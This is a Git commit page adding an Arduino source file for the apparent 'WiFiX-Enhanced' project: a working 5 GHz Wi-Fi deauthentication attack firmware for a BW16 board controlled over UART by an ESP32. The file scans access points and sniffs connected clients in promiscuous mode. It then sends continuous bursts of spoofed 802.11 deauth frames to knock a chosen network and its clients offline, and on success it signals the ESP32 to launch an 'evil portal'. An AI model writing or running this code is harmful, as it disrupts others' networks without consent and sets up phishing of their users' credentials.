chore: import local project into Gitea
This commit is contained in:
627
WiFiX-Enhanced/src/bw16_5ghz_deauth.ino
Normal file
627
WiFiX-Enhanced/src/bw16_5ghz_deauth.ino
Normal file
@@ -0,0 +1,627 @@
|
||||
#include <WiFi.h>
|
||||
#include <WiFiUdp.h>
|
||||
#include <ArduinoJson.h>
|
||||
#include <vector>
|
||||
|
||||
// Optional ESP32-specific includes for raw 802.11 TX and critical sections
|
||||
#ifdef ARDUINO_ARCH_ESP32
|
||||
#include <esp_wifi.h>
|
||||
#include <freertos/FreeRTOS.h>
|
||||
#include <freertos/portmacro.h>
|
||||
#endif
|
||||
|
||||
// --- WiFi compatibility layer (do not change behavior, only unify calls) ---
|
||||
// Forward declare the user handler implemented later in this file
|
||||
void promiscuousCallback(uint8_t *buf, uint16_t len);
|
||||
|
||||
#ifdef ARDUINO_ARCH_ESP32
|
||||
static void IRAM_ATTR promiscuousRxAdapter(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!buf) return;
|
||||
// Pass raw payload to existing handler to preserve behavior
|
||||
wifi_promiscuous_pkt_t* pkt = reinterpret_cast<wifi_promiscuous_pkt_t*>(buf);
|
||||
uint8_t* payload = const_cast<uint8_t*>(pkt->payload);
|
||||
uint16_t len = pkt->rx_ctrl.sig_len;
|
||||
promiscuousCallback(payload, len);
|
||||
}
|
||||
static inline void WiFiCompat_setPromiscuous(bool enable) { esp_wifi_set_promiscuous(enable); }
|
||||
static inline void WiFiCompat_setPromiscuousCallback() { esp_wifi_set_promiscuous_rx_cb(&promiscuousRxAdapter); }
|
||||
static inline void WiFiCompat_setChannel(int ch) { esp_wifi_set_channel((uint8_t)ch, WIFI_SECOND_CHAN_NONE); }
|
||||
static inline void WiFiCompat_sendRaw(const uint8_t* buf, int len, bool /*en_ch*/ ) { esp_wifi_80211_tx(WIFI_IF_STA, (void*)buf, len, true); }
|
||||
#else
|
||||
extern "C" {
|
||||
void wifi_set_promiscuous(bool);
|
||||
void wifi_set_promiscuous_rx_cb(void (*cb)(uint8_t*, uint16_t));
|
||||
void wifi_send_pkt_freedom(uint8_t* buf, int len, bool);
|
||||
void wifi_set_channel(int ch);
|
||||
}
|
||||
static void promiscuousRxAdapter(uint8_t* buf, uint16_t len) { promiscuousCallback(buf, len); }
|
||||
static inline void WiFiCompat_setPromiscuous(bool enable) { wifi_set_promiscuous(enable); }
|
||||
static inline void WiFiCompat_setPromiscuousCallback() { wifi_set_promiscuous_rx_cb(&promiscuousRxAdapter); }
|
||||
static inline void WiFiCompat_setChannel(int ch) { wifi_set_channel(ch); }
|
||||
static inline void WiFiCompat_sendRaw(const uint8_t* buf, int len, bool en_ch) { wifi_send_pkt_freedom((uint8_t*)buf, len, en_ch); }
|
||||
#endif
|
||||
|
||||
// Lightweight critical section helpers for concurrent access from callback
|
||||
#ifdef ARDUINO_ARCH_ESP32
|
||||
static portMUX_TYPE g_vectorMux = portMUX_INITIALIZER_UNLOCKED;
|
||||
#define CRIT_ENTER() portENTER_CRITICAL(&g_vectorMux)
|
||||
#define CRIT_EXIT() portEXIT_CRITICAL(&g_vectorMux)
|
||||
#else
|
||||
#define CRIT_ENTER()
|
||||
#define CRIT_EXIT()
|
||||
#endif
|
||||
|
||||
// Communication with ESP32 - Fixed pin assignments
|
||||
#define ESP32_UART_TX 7
|
||||
#define ESP32_UART_RX 8
|
||||
#define UART_BAUD 115200
|
||||
|
||||
// WiFi configuration
|
||||
#define MAX_SCAN_RESULTS 50
|
||||
#define DEAUTH_FRAME_SIZE 26
|
||||
#define BEACON_FRAME_SIZE 128
|
||||
|
||||
// Attack parameters
|
||||
#define DEAUTH_PACKETS_PER_BURST 50
|
||||
#define DEAUTH_BURST_INTERVAL 100 // ms
|
||||
#define SUCCESS_THRESHOLD 10 // successful deauths to consider target down
|
||||
|
||||
// Structure for 5GHz access points
|
||||
struct AP5GHz {
|
||||
String ssid;
|
||||
String bssid;
|
||||
uint8_t bssid_bytes[6];
|
||||
int channel;
|
||||
int rssi;
|
||||
String security;
|
||||
bool is_target = false;
|
||||
bool is_down = false;
|
||||
int deauth_count = 0;
|
||||
unsigned long last_seen = 0;
|
||||
unsigned long attack_start = 0;
|
||||
};
|
||||
|
||||
// Structure for connected clients
|
||||
struct Client {
|
||||
uint8_t mac[6];
|
||||
String mac_str;
|
||||
String ap_bssid;
|
||||
int rssi;
|
||||
unsigned long last_seen;
|
||||
bool is_target = false;
|
||||
};
|
||||
|
||||
// Global variables
|
||||
std::vector<AP5GHz> accessPoints5GHz;
|
||||
std::vector<Client> connectedClients;
|
||||
std::vector<String> targetBSSIDs;
|
||||
|
||||
bool scanning = false;
|
||||
bool attacking = false;
|
||||
String currentAttackType = "";
|
||||
unsigned long lastScanUpdate = 0;
|
||||
unsigned long lastAttackUpdate = 0;
|
||||
unsigned long lastHeartbeat = 0;
|
||||
|
||||
// Attack statistics
|
||||
struct AttackStats {
|
||||
int total_deauths_sent = 0;
|
||||
int successful_disconnects = 0;
|
||||
int active_targets = 0;
|
||||
unsigned long attack_duration = 0;
|
||||
String current_target_ssid = "";
|
||||
String current_target_bssid = "";
|
||||
} attackStats;
|
||||
|
||||
void setup() {
|
||||
Serial.begin(UART_BAUD);
|
||||
Serial1.begin(UART_BAUD, SERIAL_8N1, ESP32_UART_RX, ESP32_UART_TX);
|
||||
|
||||
// Initialize WiFi in monitor mode for 5GHz
|
||||
WiFi.mode(WIFI_STA);
|
||||
WiFi.disconnect();
|
||||
|
||||
// Enable promiscuous mode for packet injection
|
||||
WiFiCompat_setPromiscuous(true);
|
||||
WiFiCompat_setPromiscuousCallback();
|
||||
|
||||
Serial.println("BW16 5GHz Deauth System Initialized");
|
||||
sendToESP32("BW16_READY", "5GHz deauth system online");
|
||||
|
||||
delay(1000);
|
||||
}
|
||||
|
||||
void loop() {
|
||||
// Handle ESP32 commands
|
||||
handleESP32Communication();
|
||||
|
||||
// Update scanning
|
||||
if (scanning) {
|
||||
updateScan();
|
||||
}
|
||||
|
||||
// Update attacks
|
||||
if (attacking) {
|
||||
updateAttacks();
|
||||
}
|
||||
|
||||
// Send periodic heartbeat
|
||||
if (millis() - lastHeartbeat > 5000) {
|
||||
sendHeartbeat();
|
||||
lastHeartbeat = millis();
|
||||
}
|
||||
|
||||
delay(10);
|
||||
}
|
||||
|
||||
void handleESP32Communication() {
|
||||
if (Serial1.available()) {
|
||||
String message = Serial1.readStringUntil('\n');
|
||||
message.trim();
|
||||
|
||||
if (message.startsWith("CMD:")) {
|
||||
processCommand(message.substring(4));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void processCommand(String command) {
|
||||
DynamicJsonDocument doc(1024);
|
||||
deserializeJson(doc, command);
|
||||
|
||||
String cmd = doc["command"];
|
||||
|
||||
if (cmd == "start_scan_5ghz") {
|
||||
startScan5GHz();
|
||||
} else if (cmd == "stop_scan") {
|
||||
stopScan();
|
||||
} else if (cmd == "start_deauth") {
|
||||
String target = doc["target"];
|
||||
String ssid = doc["ssid"];
|
||||
startDeauthAttack(target, ssid);
|
||||
} else if (cmd == "stop_attack") {
|
||||
stopAttack();
|
||||
} else if (cmd == "get_status") {
|
||||
sendStatus();
|
||||
} else if (cmd == "set_channel") {
|
||||
int channel = doc["channel"];
|
||||
setChannel5GHz(channel);
|
||||
}
|
||||
}
|
||||
|
||||
void startScan5GHz() {
|
||||
scanning = true;
|
||||
accessPoints5GHz.clear();
|
||||
connectedClients.clear();
|
||||
|
||||
Serial.println("Starting 5GHz scan...");
|
||||
|
||||
// Scan 5GHz channels (36, 40, 44, 48, 149, 153, 157, 161, 165)
|
||||
static const int channels_5ghz[] = {36, 40, 44, 48, 149, 153, 157, 161, 165};
|
||||
const size_t ch_count = sizeof(channels_5ghz)/sizeof(channels_5ghz[0]);
|
||||
|
||||
for (size_t i = 0; i < ch_count; i++) {
|
||||
setChannel5GHz(channels_5ghz[i]);
|
||||
delay(500); // Dwell time per channel
|
||||
|
||||
// Perform active scan on this channel
|
||||
scanChannel5GHz(channels_5ghz[i]);
|
||||
}
|
||||
|
||||
sendToESP32("SCAN_COMPLETE", "5GHz scan finished");
|
||||
}
|
||||
|
||||
void scanChannel5GHz(int channel) {
|
||||
Serial.printf("Scanning 5GHz channel %d\n", channel);
|
||||
|
||||
// Use WiFi.scanNetworks() for 5GHz
|
||||
int n = WiFi.scanNetworks(false, true, false, 300U, channel);
|
||||
|
||||
for (int i = 0; i < n; i++) {
|
||||
// Only process 5GHz networks (channels > 14)
|
||||
if (WiFi.channel(i) > 14) {
|
||||
AP5GHz ap;
|
||||
ap.ssid = WiFi.SSID(i);
|
||||
ap.bssid = WiFi.BSSIDstr(i);
|
||||
// Safer BSSID parse to prevent sscanf integer size issues
|
||||
parseBSSIDSafe(ap.bssid, ap.bssid_bytes);
|
||||
ap.channel = WiFi.channel(i);
|
||||
ap.rssi = WiFi.RSSI(i);
|
||||
ap.security = getSecurityType(WiFi.encryptionType(i));
|
||||
ap.last_seen = millis();
|
||||
|
||||
// Check if AP already exists
|
||||
bool exists = false;
|
||||
for (auto& existing : accessPoints5GHz) {
|
||||
if (existing.bssid == ap.bssid) {
|
||||
existing.last_seen = millis();
|
||||
existing.rssi = ap.rssi;
|
||||
exists = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!exists) {
|
||||
accessPoints5GHz.push_back(ap);
|
||||
|
||||
// Send AP info to ESP32
|
||||
DynamicJsonDocument apDoc(512);
|
||||
apDoc["type"] = "AP_FOUND";
|
||||
apDoc["ssid"] = ap.ssid;
|
||||
apDoc["bssid"] = ap.bssid;
|
||||
apDoc["channel"] = ap.channel;
|
||||
apDoc["rssi"] = ap.rssi;
|
||||
apDoc["security"] = ap.security;
|
||||
apDoc["band"] = "5GHz";
|
||||
|
||||
String apData;
|
||||
serializeJson(apDoc, apData);
|
||||
sendToESP32("AP_DATA", apData);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
WiFi.scanDelete();
|
||||
}
|
||||
|
||||
void startDeauthAttack(String targetBSSID, String targetSSID) {
|
||||
attacking = true;
|
||||
currentAttackType = "deauth";
|
||||
|
||||
attackStats.current_target_bssid = targetBSSID;
|
||||
attackStats.current_target_ssid = targetSSID;
|
||||
attackStats.attack_duration = millis();
|
||||
attackStats.total_deauths_sent = 0;
|
||||
attackStats.successful_disconnects = 0;
|
||||
|
||||
// Find target AP
|
||||
AP5GHz* targetAP = nullptr;
|
||||
for (auto& ap : accessPoints5GHz) {
|
||||
if (ap.bssid == targetBSSID) {
|
||||
ap.is_target = true;
|
||||
ap.attack_start = millis();
|
||||
targetAP = ≈
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetAP) {
|
||||
Serial.println("Target AP not found!");
|
||||
sendToESP32("ATTACK_ERROR", "Target AP not found");
|
||||
return;
|
||||
}
|
||||
|
||||
// Set channel to target AP's channel
|
||||
setChannel5GHz(targetAP->channel);
|
||||
|
||||
Serial.printf("Starting deauth attack on %s (%s) channel %d\n",
|
||||
targetSSID.c_str(), targetBSSID.c_str(), targetAP->channel);
|
||||
|
||||
// Start monitoring for clients
|
||||
startClientDiscovery(targetBSSID);
|
||||
|
||||
sendToESP32("ATTACK_STARTED", targetBSSID + ":" + targetSSID);
|
||||
}
|
||||
|
||||
void startClientDiscovery(String apBSSID) {
|
||||
// Enable promiscuous mode to capture client frames
|
||||
wifi_set_promiscuous(true);
|
||||
|
||||
// Clear existing clients for this AP
|
||||
connectedClients.erase(
|
||||
std::remove_if(connectedClients.begin(), connectedClients.end(),
|
||||
[apBSSID](const Client& c) { return c.ap_bssid == apBSSID; }),
|
||||
connectedClients.end());
|
||||
|
||||
Serial.printf("Discovering clients for AP: %s\n", apBSSID.c_str());
|
||||
}
|
||||
|
||||
void updateAttacks() {
|
||||
if (!attacking || currentAttackType != "deauth") return;
|
||||
|
||||
// Find active target
|
||||
AP5GHz* targetAP = nullptr;
|
||||
for (auto& ap : accessPoints5GHz) {
|
||||
if (ap.is_target && !ap.is_down) {
|
||||
targetAP = ≈
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetAP) {
|
||||
Serial.println("No active target found");
|
||||
stopAttack();
|
||||
return;
|
||||
}
|
||||
|
||||
// Send deauth packets every 100ms
|
||||
if (millis() - lastAttackUpdate > DEAUTH_BURST_INTERVAL) {
|
||||
sendDeauthBurst(targetAP);
|
||||
lastAttackUpdate = millis();
|
||||
|
||||
// Check if target is down
|
||||
if (targetAP->deauth_count >= SUCCESS_THRESHOLD) {
|
||||
targetAP->is_down = true;
|
||||
attackStats.successful_disconnects++;
|
||||
|
||||
Serial.printf("Target %s successfully taken down!\n", targetAP->ssid.c_str());
|
||||
|
||||
// Notify ESP32 to start evil portal
|
||||
DynamicJsonDocument successDoc(512);
|
||||
successDoc["type"] = "DEAUTH_SUCCESS";
|
||||
successDoc["ssid"] = targetAP->ssid;
|
||||
successDoc["bssid"] = targetAP->bssid;
|
||||
successDoc["channel"] = targetAP->channel;
|
||||
successDoc["deauth_count"] = targetAP->deauth_count;
|
||||
|
||||
String successData;
|
||||
serializeJson(successDoc, successData);
|
||||
sendToESP32("DEAUTH_SUCCESS", successData);
|
||||
|
||||
// Continue attacking to keep it down
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void sendDeauthBurst(AP5GHz* targetAP) {
|
||||
uint8_t deauthPacket[DEAUTH_FRAME_SIZE];
|
||||
|
||||
// Build deauth frame
|
||||
// Frame Control
|
||||
deauthPacket[0] = 0xC0; // Type: Management, Subtype: Deauthentication
|
||||
deauthPacket[1] = 0x00;
|
||||
|
||||
// Duration
|
||||
deauthPacket[2] = 0x00;
|
||||
deauthPacket[3] = 0x00;
|
||||
|
||||
// Destination (broadcast)
|
||||
memset(&deauthPacket[4], 0xFF, 6);
|
||||
|
||||
// Source (AP BSSID)
|
||||
memcpy(&deauthPacket[10], targetAP->bssid_bytes, 6);
|
||||
|
||||
// BSSID (AP BSSID)
|
||||
memcpy(&deauthPacket[16], targetAP->bssid_bytes, 6);
|
||||
|
||||
// Sequence Control
|
||||
deauthPacket[22] = 0x00;
|
||||
deauthPacket[23] = 0x00;
|
||||
|
||||
// Reason Code (0x0007 = Class 3 frame received from nonassociated STA)
|
||||
deauthPacket[24] = 0x07;
|
||||
deauthPacket[25] = 0x00;
|
||||
|
||||
// Send burst of deauth packets
|
||||
for (int i = 0; i < DEAUTH_PACKETS_PER_BURST; i++) {
|
||||
// Broadcast deauth
|
||||
WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
|
||||
|
||||
// If we have discovered clients, target them specifically
|
||||
CRIT_ENTER();
|
||||
for (const auto& client : connectedClients) {
|
||||
if (client.ap_bssid == targetAP->bssid) {
|
||||
// Modify destination to client MAC
|
||||
memcpy(&deauthPacket[4], client.mac, 6);
|
||||
WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
|
||||
|
||||
// Also send from client to AP
|
||||
memcpy(&deauthPacket[4], targetAP->bssid_bytes, 6); // Destination: AP
|
||||
memcpy(&deauthPacket[10], client.mac, 6); // Source: Client
|
||||
WiFiCompat_sendRaw(deauthPacket, DEAUTH_FRAME_SIZE, true);
|
||||
}
|
||||
}
|
||||
CRIT_EXIT();
|
||||
|
||||
delayMicroseconds(100); // Small delay between packets
|
||||
}
|
||||
|
||||
targetAP->deauth_count += DEAUTH_PACKETS_PER_BURST;
|
||||
attackStats.total_deauths_sent += DEAUTH_PACKETS_PER_BURST;
|
||||
|
||||
Serial.printf("Sent %d deauth packets to %s (total: %d)\n",
|
||||
DEAUTH_PACKETS_PER_BURST, targetAP->ssid.c_str(), targetAP->deauth_count);
|
||||
}
|
||||
|
||||
void promiscuousCallback(uint8_t *buf, uint16_t len) {
|
||||
if (len < 24) return; // Minimum frame size
|
||||
|
||||
// Parse frame type
|
||||
uint8_t frameType = buf[0] & 0xFC;
|
||||
uint8_t frameSubType = (buf[0] & 0xF0) >> 4;
|
||||
|
||||
// Look for data frames to identify clients
|
||||
if (frameType == 0x08) { // Data frame
|
||||
uint8_t* srcMAC = &buf[10];
|
||||
uint8_t* dstMAC = &buf[4];
|
||||
uint8_t* bssid = &buf[16];
|
||||
|
||||
// Check if this is communication with our target AP
|
||||
for (const auto& ap : accessPoints5GHz) {
|
||||
if (ap.is_target && memcmp(bssid, ap.bssid_bytes, 6) == 0) {
|
||||
// Found client communication
|
||||
uint8_t* clientMAC = nullptr;
|
||||
|
||||
// Determine which MAC is the client
|
||||
if (memcmp(srcMAC, ap.bssid_bytes, 6) != 0) {
|
||||
clientMAC = srcMAC;
|
||||
} else if (memcmp(dstMAC, ap.bssid_bytes, 6) != 0) {
|
||||
clientMAC = dstMAC;
|
||||
}
|
||||
|
||||
if (clientMAC) {
|
||||
addDiscoveredClient(clientMAC, ap.bssid);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void addDiscoveredClient(uint8_t* clientMAC, String apBSSID) {
|
||||
// Check if client already exists
|
||||
CRIT_ENTER();
|
||||
for (auto& client : connectedClients) {
|
||||
if (memcmp(client.mac, clientMAC, 6) == 0 && client.ap_bssid == apBSSID) {
|
||||
client.last_seen = millis();
|
||||
CRIT_EXIT();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Add new client
|
||||
Client newClient;
|
||||
memcpy(newClient.mac, clientMAC, 6);
|
||||
newClient.mac_str = macToString(clientMAC);
|
||||
newClient.ap_bssid = apBSSID;
|
||||
newClient.last_seen = millis();
|
||||
newClient.is_target = true;
|
||||
|
||||
connectedClients.push_back(newClient);
|
||||
CRIT_EXIT();
|
||||
|
||||
Serial.printf("Discovered client: %s connected to %s\n",
|
||||
newClient.mac_str.c_str(), apBSSID.c_str());
|
||||
|
||||
// Notify ESP32 about discovered client
|
||||
DynamicJsonDocument clientDoc(256);
|
||||
clientDoc["type"] = "CLIENT_FOUND";
|
||||
clientDoc["mac"] = newClient.mac_str;
|
||||
clientDoc["ap_bssid"] = apBSSID;
|
||||
|
||||
String clientData;
|
||||
serializeJson(clientDoc, clientData);
|
||||
sendToESP32("CLIENT_DATA", clientData);
|
||||
}
|
||||
|
||||
void stopScan() {
|
||||
scanning = false;
|
||||
Serial.println("5GHz scan stopped");
|
||||
sendToESP32("SCAN_STOPPED", "");
|
||||
}
|
||||
|
||||
void stopAttack() {
|
||||
attacking = false;
|
||||
currentAttackType = "";
|
||||
|
||||
// Reset target flags
|
||||
for (auto& ap : accessPoints5GHz) {
|
||||
ap.is_target = false;
|
||||
ap.is_down = false;
|
||||
ap.deauth_count = 0;
|
||||
}
|
||||
|
||||
// Clear client targets
|
||||
for (auto& client : connectedClients) {
|
||||
client.is_target = false;
|
||||
}
|
||||
|
||||
WiFiCompat_setPromiscuous(false);
|
||||
|
||||
Serial.println("Attack stopped");
|
||||
sendToESP32("ATTACK_STOPPED", "");
|
||||
}
|
||||
|
||||
void setChannel5GHz(int channel) {
|
||||
// Set 5GHz channel
|
||||
WiFiCompat_setChannel(channel);
|
||||
Serial.printf("Set 5GHz channel to %d\n", channel);
|
||||
}
|
||||
|
||||
void sendStatus() {
|
||||
DynamicJsonDocument statusDoc(1024);
|
||||
statusDoc["type"] = "BW16_STATUS";
|
||||
statusDoc["scanning"] = scanning;
|
||||
statusDoc["attacking"] = attacking;
|
||||
statusDoc["attack_type"] = currentAttackType;
|
||||
statusDoc["aps_found"] = accessPoints5GHz.size();
|
||||
statusDoc["clients_found"] = connectedClients.size();
|
||||
|
||||
// Attack statistics
|
||||
JsonObject stats = statusDoc.createNestedObject("attack_stats");
|
||||
stats["total_deauths"] = attackStats.total_deauths_sent;
|
||||
stats["successful_disconnects"] = attackStats.successful_disconnects;
|
||||
stats["current_target_ssid"] = attackStats.current_target_ssid;
|
||||
stats["current_target_bssid"] = attackStats.current_target_bssid;
|
||||
|
||||
if (attacking) {
|
||||
stats["attack_duration"] = (millis() - attackStats.attack_duration) / 1000;
|
||||
}
|
||||
|
||||
String statusData;
|
||||
serializeJson(statusDoc, statusData);
|
||||
sendToESP32("STATUS", statusData);
|
||||
}
|
||||
|
||||
void sendHeartbeat() {
|
||||
DynamicJsonDocument heartbeatDoc(256);
|
||||
heartbeatDoc["type"] = "HEARTBEAT";
|
||||
heartbeatDoc["uptime"] = millis() / 1000;
|
||||
heartbeatDoc["free_memory"] = ESP.getFreeHeap();
|
||||
|
||||
String heartbeatData;
|
||||
serializeJson(heartbeatDoc, heartbeatData);
|
||||
sendToESP32("HEARTBEAT", heartbeatData);
|
||||
}
|
||||
|
||||
void updateScan() {
|
||||
// Periodic scan updates
|
||||
if (millis() - lastScanUpdate > 10000) { // Every 10 seconds
|
||||
// Remove old APs
|
||||
accessPoints5GHz.erase(
|
||||
std::remove_if(accessPoints5GHz.begin(), accessPoints5GHz.end(),
|
||||
[](const AP5GHz& ap) { return millis() - ap.last_seen > 30000; }),
|
||||
accessPoints5GHz.end());
|
||||
|
||||
lastScanUpdate = millis();
|
||||
}
|
||||
}
|
||||
|
||||
void sendToESP32(String type, String data) {
|
||||
DynamicJsonDocument doc(1024);
|
||||
doc["type"] = type;
|
||||
doc["data"] = data;
|
||||
doc["timestamp"] = millis();
|
||||
|
||||
String message;
|
||||
serializeJson(doc, message);
|
||||
|
||||
Serial1.println(message);
|
||||
Serial.printf("Sent to ESP32: %s\n", message.c_str());
|
||||
}
|
||||
|
||||
// Utility functions
|
||||
// Original kept for compatibility; prefer parseBSSIDSafe
|
||||
void parseBSSID(String bssidStr, uint8_t* bssidBytes) {
|
||||
parseBSSIDSafe(bssidStr, bssidBytes);
|
||||
}
|
||||
|
||||
void parseBSSIDSafe(const String& bssidStr, uint8_t* bssidBytes) {
|
||||
unsigned int v[6] = {0};
|
||||
if (sscanf(bssidStr.c_str(), "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
&v[0], &v[1], &v[2], &v[3], &v[4], &v[5]) == 6) {
|
||||
for (int i = 0; i < 6; ++i) bssidBytes[i] = static_cast<uint8_t>(v[i]);
|
||||
} else {
|
||||
memset(bssidBytes, 0, 6);
|
||||
}
|
||||
}
|
||||
|
||||
String macToString(uint8_t* mac) {
|
||||
char macStr[18];
|
||||
sprintf(macStr, "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
return String(macStr);
|
||||
}
|
||||
|
||||
String getSecurityType(wifi_auth_mode_t encType) {
|
||||
switch (encType) {
|
||||
case WIFI_AUTH_OPEN: return "Open";
|
||||
case WIFI_AUTH_WEP: return "WEP";
|
||||
case WIFI_AUTH_WPA_PSK: return "WPA";
|
||||
case WIFI_AUTH_WPA2_PSK: return "WPA2";
|
||||
case WIFI_AUTH_WPA_WPA2_PSK: return "WPA/WPA2";
|
||||
case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-Enterprise";
|
||||
case WIFI_AUTH_WPA3_PSK: return "WPA3";
|
||||
default: return "Unknown";
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user